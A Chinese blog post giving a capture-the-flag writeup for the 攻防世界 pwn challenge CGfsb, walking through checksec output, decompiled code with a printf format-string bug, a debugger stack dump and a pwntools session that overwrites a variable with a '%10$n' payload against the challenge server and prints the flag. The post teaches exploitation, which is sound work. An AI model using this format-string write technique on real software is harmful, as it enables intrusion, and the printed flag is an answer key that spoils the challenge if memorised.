

攻防世界 CGfsb writeup

原创

胡胡同志要加油 于 2021-12-02 12:34:31 发布 2273 收藏

分类专栏: [pwn题解](#) 文章标签: [c语言](#) [开发语言](#) [后端](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/yajuampi4899/article/details/121674463>

版权



[pwn题解](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

日常导入查看位数:

```
In [1]: from pwn import *
In [2]: elf = ELF("./CGfsb")
[*] '/home/kali/Desktop/wp/CGfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
In [3]:
```

CSDN @胡凌萧

IDA反编译:

```
IDA View-A Pseudocode-A Stack of main
1 int cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int buf; // [esp+1Eh] [ebp-7Eh]
4     int v5; // [esp+22h] [ebp-7Ah]
5     __int16 v6; // [esp+26h] [ebp-76h]
6     char s; // [esp+28h] [ebp-74h]
7     unsigned int v8; // [esp+8Ch] [ebp-10h]
8
9     v8 = __readgsdword(0x14u);
10    setbuf(stdin, 0);
11    setbuf(stdout, 0);
12    setbuf(stderr, 0);
13    buf = 0;
14    v5 = 0;
15    v6 = 0;
16    memset(&s, 0, 0x64u);
17    puts("please tell me your name:");
18    read(0, &buf, 10u);
19    puts("leave your message please:");
20    fgets(&s, 100, stdin);
21    printf("hello %s", &buf);
22    puts("your message is:");
23    printf(&s);
24    if ( pwnme == 8 )
25    {
26        puts("you pwned me, here is your flag:\n");
27        system("cat flag");
28    }
29    else
30    {
31        puts("Thank you!");
32    }
33    return 0;
34 }
```

CSDN @胡凌萧

函数分析: pwnme等于8则执行shell, 目的是要将pwnme数据置为8, 再加上printf, 可以确定是格式化字符串漏洞。

格式化字符串需要寻找到pwnme地址（便于写入）以及在栈上的偏移量，gdb调试：

```
[ STACK ]
00:0000 esp 0xffffd080 → 0xffffd0a8 ← 'AAAAAAAAAAAAAAAAAA\n'
01:0004 0xffffd084 ← 0x64 /* 'd' */
02:0008 0xffffd088 → 0xf7fad580 (_IO_2_1_stdin_) ← 0xfbad208b
03:000c 0xffffd08c → 0xffffd0fc ← 0x0
04:0010 0xffffd090 → 0xf7ffdb00 → 0xf7fc93e0 → 0xf7ffd9a0 ← 0x0
05:0014 0xffffd094 ← 0x1
06:0018 0xffffd098 → 0xf7fc9410 → 0x804834b ← inc edi /* 'GLIBC_2.0' */
07:001c 0xffffd09c ← 0x41410001

[ BACKTRACE ]
▶ f 0 0x80486a6 main+217
f 1 0xf7de1fd6 __libc_start_main+262

pwndbg> stack 24
00:0000 esp 0xffffd080 → 0xffffd0a8 ← 'AAAAAAAAAAAAAAAAAA\n'
01:0004 0xffffd084 ← 0x64 /* 'd' */
02:0008 0xffffd088 → 0xf7fad580 (_IO_2_1_stdin_) ← 0xfbad208b
03:000c 0xffffd08c → 0xffffd0fc ← 0x0
04:0010 0xffffd090 → 0xf7ffdb00 → 0xf7fc93e0 → 0xf7ffd9a0 ← 0x0
05:0014 0xffffd094 ← 0x1
06:0018 0xffffd098 → 0xf7fc9410 → 0x804834b ← inc edi /* 'GLIBC_2.0' */
07:001c 0xffffd09c ← 0x41410001
08:0020 0xffffd0a0 ← 0xa /* '\n' */
09:0024 0xffffd0a4 ← 0x0
0a:0028 eax ebx 0xffffd0a8 ← 'AAAAAAAAAAAAAAAAAA\n'
... ↓
0e:0038 ecx 0xffffd0b8 ← 0xa /* '\n' */
0f:003c 0xffffd0bc ← 0x0
... ↓
pwndbg>
```

CSDN @胡凌萧

在进行&S输入时将AAAAAA输入，可以看见栈中偏移量是10，再加上pwnme要变成8，%n的用法是前面几个字符则将某地址数据修改成8，可以构建payload:

pwnme_addr (四个字符)+b'AAAA'+%10\$n

writeup:

```

In [1]: from pwn import *

In [2]: elf = ELF("./CGfsb")
[*] '/home/kali/Desktop/wp/CGfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

In [3]: pwnme_addr = 0x0804A068

In [4]: io = remote("111.200.241.244",61752)
[x] Opening connection to 111.200.241.244 on port 61752
[x] Opening connection to 111.200.241.244 on port 61752: Trying 111.200.241.244
[+] Opening connection to 111.200.241.244 on port 61752: Done

In [5]: io.recv()
Out[5]: b'please tell me your name:\n'

In [6]: io.send("AA")
<ipython-input-6-7f99f9460871>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.send("AA")

In [7]: io.recv()
Out[7]: b'leave your message please:\n'

In [8]: payload = p32(pwnme_addr) + b'AAAA' + b'%10$n'

In [9]: io.sendline(payload)

In [10]: io.recv()
Out[10]: b'hello AAyour message is:\nh\x00\x04\x08AAAA\nyou pwned me, here is your flag:\n\n\ncyberpeace{ccd910f2c9664a64cc6f4de1a20264ab}\n'

In [11]: █

```